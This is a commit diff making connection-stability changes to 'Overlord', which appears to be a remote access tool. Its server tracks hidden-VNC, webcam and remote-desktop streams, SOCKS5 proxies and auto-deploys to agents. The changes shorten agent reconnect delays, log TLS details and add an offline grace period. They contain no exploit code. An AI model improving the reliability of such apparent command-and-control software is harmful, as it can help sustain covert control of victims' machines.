stability fixes

Overlord-Client/cmd/agent/session.go

@@ -9,6 +9,7 @@ import (
 	"fmt"
 	"log"
 	"math/rand"
+	"net"
 	"net/http"
 	"os"
 	"path/filepath"
@@ -69,12 +70,10 @@ func runClient(cfg config.Config) {
 		}
 	}
 
-	tlsMinVersion := uint16(tls.VersionTLS12)
+	transport := createHTTPTransport(cfg)
-	transport := createHTTPTransport(cfg, tlsMinVersion)
 	currentIndex := cfg.ServerIndex
 	consecutiveFailures := 0
-	// idek how tf to fix this. sometimes the client just says fuck you and downgrades then stops connections.
+	var loggedTLS bool
-	allowTLSDowngrade := false
 	var lastDisconnect time.Time
 	var lastSolRefresh time.Time
 	solInitialWait := 2 * time.Minute
@@ -98,9 +97,9 @@ func runClient(cfg config.Config) {
 		}
 		log.Printf("connecting to %s%s (TLS verify: %v)", currentServer, serverInfo, !cfg.TLSInsecureSkipVerify)
 
-		conn, _, err := websocket.Dial(ctx, url, opts)
+		conn, resp, err := websocket.Dial(ctx, url, opts)
 		if err != nil {
-			log.Printf("dial failed: %v (retrying in %s)", err, backoff)
+			log.Printf("dial failed [%s]: %v (retrying in %s)", classifyDialError(err), err, backoff)
 			consecutiveFailures++
 			if lastDisconnect.IsZero() {
 				lastDisconnect = time.Now()
@@ -135,17 +134,21 @@ func runClient(cfg config.Config) {
 		lastDisconnect = time.Time{} // reset — we're connected
 		log.Printf("connected successfully to %s%s", currentServer, serverInfo)
 
+		if !loggedTLS && resp != nil && resp.TLS != nil {
+			log.Printf(
+				"[TLS] handshake ok: version=%s cipher=%s server=%s",
+				tls.VersionName(resp.TLS.Version),
+				tls.CipherSuiteName(resp.TLS.CipherSuite),
+				resp.TLS.ServerName,
+			)
+			loggedTLS = true
+		}
+
 		conn.SetReadLimit(8 * 1024 * 1024)
 
 		var sessionErr error
 		if err := runSession(ctx, cancel, conn, cfg); err != nil {
 			sessionErr = err
-			if allowTLSDowngrade && isTLSVersionError(err) {
-				log.Printf("[TLS] remote rejected TLS version; downgrading to TLS 1.0 for compatibility")
-				tlsMinVersion = uint16(tls.VersionTLS10)
-				transport = createHTTPTransport(cfg, tlsMinVersion)
-				allowTLSDowngrade = false
-			}
 			log.Printf("session ended: %v (retrying in %s)", err, backoff)
 			lastDisconnect = time.Now()
 
@@ -322,10 +325,10 @@ func equalStringSlices(a, b []string) bool {
 	return true
 }
 
-func createHTTPTransport(cfg config.Config, minVersion uint16) *http.Transport {
+func createHTTPTransport(cfg config.Config) *http.Transport {
 	tlsConfig := &tls.Config{
 		InsecureSkipVerify: cfg.TLSInsecureSkipVerify,
-		MinVersion:         minVersion,
+		MinVersion:         tls.VersionTLS12,
 	}
 
 	if cfg.TLSCAPath != "" {
@@ -359,16 +362,49 @@ func createHTTPTransport(cfg config.Config, minVersion uint16) *http.Transport {
 
 	transport := http.DefaultTransport.(*http.Transport).Clone()
 	transport.TLSClientConfig = tlsConfig
+	transport.DialContext = (&net.Dialer{
+		Timeout:   30 * time.Second,
+		KeepAlive: 15 * time.Second,
+	}).DialContext
 	return transport
 }
 
-func isTLSVersionError(err error) bool {
+func classifyDialError(err error) string {
 	if err == nil {
-		return false
+		return ""
 	}
 	msg := strings.ToLower(err.Error())
-	return strings.Contains(msg, "protocol version not supported") ||
+	switch {
-		strings.Contains(msg, "tls: protocol version not supported")
+	case strings.Contains(msg, "x509:"),
+		strings.Contains(msg, "certificate signed by"),
+		strings.Contains(msg, "certificate has expired"),
+		strings.Contains(msg, "certificate is not valid"),
+		strings.Contains(msg, "unknown authority"):
+		return "TLS:cert"
+	case strings.Contains(msg, "protocol version"),
+		strings.Contains(msg, "tls: no application protocol"):
+		return "TLS:version"
+	case strings.Contains(msg, "no cipher suite"),
+		strings.Contains(msg, "handshake failure"):
+		return "TLS:cipher"
+	case strings.Contains(msg, "tls:"),
+		strings.Contains(msg, "remote error: tls"):
+		return "TLS"
+	case strings.Contains(msg, "no such host"):
+		return "DNS"
+	case strings.Contains(msg, "connection refused"):
+		return "refused"
+	case strings.Contains(msg, "i/o timeout"),
+		strings.Contains(msg, "context deadline exceeded"):
+		return "timeout"
+	case strings.Contains(msg, "no route to host"),
+		strings.Contains(msg, "network is unreachable"):
+		return "unreachable"
+	case strings.Contains(msg, "expected handshake response status code"),
+		strings.Contains(msg, "unexpected http response"):
+		return "http"
+	}
+	return "network"
 }
 
 func computeBaseBackoff() time.Duration {
@@ -380,12 +416,12 @@ func computeBaseBackoff() time.Duration {
 func reconnectDelay() time.Duration {
 	raw := strings.TrimSpace(os.Getenv("OVERLORD_RECONNECT_DELAY_MS"))
 	if raw == "" {
-		return randomReconnectDelay(10*time.Second, 30*time.Second)
+		return randomReconnectDelay(1*time.Second, 3*time.Second)
 	}
 	ms, err := strconv.Atoi(raw)
 	if err != nil || ms < 0 {
-		log.Printf("[reconnect] invalid OVERLORD_RECONNECT_DELAY_MS=%q, using 10-30s", raw)
+		log.Printf("[reconnect] invalid OVERLORD_RECONNECT_DELAY_MS=%q, using 1-3s", raw)
-		return randomReconnectDelay(10*time.Second, 30*time.Second)
+		return randomReconnectDelay(1*time.Second, 3*time.Second)
 	}
 	if ms == 0 {
 		return 0
@@ -699,9 +735,9 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
 			}
 		})
 		goSafe("pong watchdog", cancel, func() {
-			grace := interval + (10 * time.Second)
+			grace := interval*3 + (30 * time.Second)
-			if grace < 20*time.Second {
+			if grace < 90*time.Second {
-				grace = 20 * time.Second
+				grace = 90 * time.Second
 			}
 			ticker := time.NewTicker(interval)
 			defer ticker.Stop()

Overlord-Client/cmd/agent/session_helpers_test.go

@@ -69,8 +69,8 @@ func TestReconnectDelay_Custom(t *testing.T) {
 func TestReconnectDelay_Invalid(t *testing.T) {
 	withEnv("OVERLORD_RECONNECT_DELAY_MS", "bad", func() {
 		delay := reconnectDelay()
-		if delay < 10*time.Second || delay > 30*time.Second {
+		if delay < 1*time.Second || delay > 3*time.Second {
-			t.Fatalf("expected 10-30s, got %s", delay)
+			t.Fatalf("expected 1-3s, got %s", delay)
 		}
 	})
 }

Overlord-Server/src/server/maintenance-loops.ts

@@ -24,16 +24,20 @@ export function startMaintenanceLoops(params: StartMaintenanceParams): void {
     });
   }, 5000);
 
+  const livenessTimeoutMs = Math.max(
+    params.heartbeatIntervalMs * 4 + params.disconnectTimeoutMs,
+    60_000,
+  );
+
   setInterval(() => {
     const now = Date.now();
     for (const [id, info] of params.getClients().entries()) {
       if (info.role !== "client") continue;
-      if (
+      const lastActivity = info.lastSeen || 0;
-        info.lastPingNonce !== undefined &&
+      if (lastActivity && now - lastActivity > livenessTimeoutMs) {
-        info.lastPingSent &&
+        logger.warn(
-        now - info.lastPingSent > params.heartbeatIntervalMs + params.disconnectTimeoutMs
+          `[ping] no activity from ${id} for ${now - lastActivity}ms; closing socket`,
-      ) {
+        );
-        logger.warn(`[ping] no pong from ${id} within timeout; closing socket`);
         try {
           info.ws.close(4001, "ping timeout");
         } catch (err) {

Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts

@@ -20,6 +20,67 @@ import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong
 import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
 import { stopAllProxiesForClient } from "../socks5-proxy-manager";
 
+const OFFLINE_GRACE_MS = (() => {
+  const raw = process.env.OVERLORD_OFFLINE_GRACE_MS;
+  if (raw === undefined || raw === "") return 7_000;
+  const n = Number(raw);
+  if (!Number.isFinite(n) || n < 0) return 7_000;
+  return Math.floor(n);
+})();
+
+type ClientLifecyclePayload = {
+  id: string;
+  host?: string;
+  user?: string;
+  os?: string;
+  ip?: string;
+  country?: string;
+};
+
+type PendingOffline = {
+  timer: ReturnType<typeof setTimeout>;
+};
+
+const pendingOffline = new Map<string, PendingOffline>();
+
+function cancelPendingOffline(clientId: string): boolean {
+  const pending = pendingOffline.get(clientId);
+  if (!pending) return false;
+  clearTimeout(pending.timer);
+  pendingOffline.delete(clientId);
+  return true;
+}
+
+function schedulePendingOffline(
+  clientId: string,
+  payload: ClientLifecyclePayload,
+  disconnectReason: string | undefined,
+  disconnectDetail: string | undefined,
+  deps: WsLifecycleDeps,
+): void {
+  cancelPendingOffline(clientId);
+
+  if (OFFLINE_GRACE_MS <= 0) {
+    deps.notifyDashboardClientEvent("client_offline", payload);
+    deps.broadcastClientEvent("client_offline", payload);
+    setOnlineState(clientId, false, disconnectReason, disconnectDetail);
+    deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected");
+    deps.notifyDashboard();
+    return;
+  }
+
+  const timer = setTimeout(() => {
+    pendingOffline.delete(clientId);
+    deps.notifyDashboardClientEvent("client_offline", payload);
+    deps.broadcastClientEvent("client_offline", payload);
+    setOnlineState(clientId, false, disconnectReason, disconnectDetail);
+    deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected");
+    deps.notifyDashboard();
+  }, OFFLINE_GRACE_MS);
+
+  pendingOffline.set(clientId, { timer });
+}
+
 type PendingScript = {
   timeout: ReturnType<typeof setTimeout>;
   resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
@@ -457,10 +518,13 @@ export async function handleWebSocketMessage(
         await handleHello(infoObj, payload, ws, ip);
         clientManager.addClient(infoObj.id, infoObj);
 
+        const reconnectedWithinGrace = cancelPendingOffline(infoObj.id);
+
         deps.dispatchAutoScriptsForConnection(infoObj, ws);
         deps.dispatchAutoDeploysForConnection(infoObj, ws);
         deps.dispatchAutoLoadPlugins(infoObj);
         deps.notifyDashboard();
+        if (!reconnectedWithinGrace) {
           deps.notifyDashboardClientEvent("client_online", {
               id: infoObj.id,
               host: infoObj.host,
@@ -477,6 +541,7 @@ export async function handleWebSocketMessage(
               ip: infoObj.ip,
               country: infoObj.country,
             });
+        }
         if (infoObj.role === "client") {
           deps.notifyRemoteDesktopStatus(resolvedId, "online");
           metrics.recordConnection();
@@ -802,25 +867,6 @@ export function handleWebSocketClose(
     return;
   }
 
-  if (role === "client" && currentClient) {
-    deps.notifyDashboardClientEvent("client_offline", {
-      id: clientId,
-      host: currentClient.host,
-      user: currentClient.user,
-      os: currentClient.os,
-      ip: currentClient.ip,
-      country: currentClient.country,
-    });
-    deps.broadcastClientEvent("client_offline", {
-      id: clientId,
-      host: currentClient.host,
-      user: currentClient.user,
-      os: currentClient.os,
-      ip: currentClient.ip,
-      country: currentClient.country,
-    });
-  }
-
   const storedDisconnectReason = ws.data.disconnectReason;
   const storedDisconnectDetail = ws.data.disconnectDetail;
 
@@ -828,7 +874,6 @@ export function handleWebSocketClose(
   stopAllProxiesForClient(clientId);
   clearClientSyncState(clientId);
   deps.notifyConsoleClosed(clientId, "Client disconnected");
-  setOnlineState(clientId, false, storedDisconnectReason, storedDisconnectDetail);
   deps.clearPendingNotificationScreenshots(clientId);
   deps.clearClientPluginState(clientId);
   for (const [cmdId, pending] of deps.pendingScripts) {
@@ -848,11 +893,26 @@ export function handleWebSocketClose(
   deps.rdStreamingState.delete(clientId);
   deps.hvncStreamingState.delete(clientId);
   deps.webcamStreamingState.delete(clientId);
-  deps.notifyDashboard();
   logger.info(`[close] ${clientId} code=${code} reason=${reason} disconnect_reason=${storedDisconnectReason || "unknown"}`);
 
+  if (role === "client" && currentClient) {
+    schedulePendingOffline(
+      clientId,
+      {
+        id: clientId,
+        host: currentClient.host,
+        user: currentClient.user,
+        os: currentClient.os,
+        ip: currentClient.ip,
+        country: currentClient.country,
+      },
+      storedDisconnectReason,
+      storedDisconnectDetail,
+      deps,
+    );
+  }
+
   if (role === "client") {
-    deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected");
     metrics.recordDisconnection();
     logAudit({
       timestamp: Date.now(),

Overlord-Server/src/server/runtime-constants.ts

@@ -1,5 +1,5 @@
 export const HEARTBEAT_INTERVAL_MS = 15_000;
-export const STALE_MS = 5 * 60_000;
+export const STALE_MS = 90_000;
 export const DISCONNECT_TIMEOUT_MS = 10_000;
 
 export const PRUNE_BATCH = Number(process.env.PRUNE_BATCH || 500);

Overlord-Server/src/types.ts

@@ -9,6 +9,7 @@ export type ClientInfo = {
   ws: any;
   lastPingSent?: number;
   lastPingNonce?: number;
+  lastPongAt?: number;
   online?: boolean;
   hwid?: string;
   ip?: string;

Overlord-Server/src/wsHandlers.ts

@@ -207,11 +207,7 @@ export function handlePing(info: ClientInfo, payload: WireMessage, ws: any) {
 
 export function sendPingRequest(info: ClientInfo, ws: any, reason: string) {
   const now = Date.now();
-  if (
+  if (info.lastPingSent && now - info.lastPingSent < 1_000) {
-    info.lastPingNonce !== undefined &&
-    info.lastPingSent &&
-    now-info.lastPingSent < MAX_PING_RTT_MS
-  ) {
     return;
   }
   const nonce = now + Math.floor(Math.random() * 1000);
@@ -245,6 +241,7 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
   const nowTs = Date.now();
 
   info.lastSeen = nowTs;
+  info.lastPongAt = nowTs;
   info.online = true;
   info.lastPingNonce = undefined;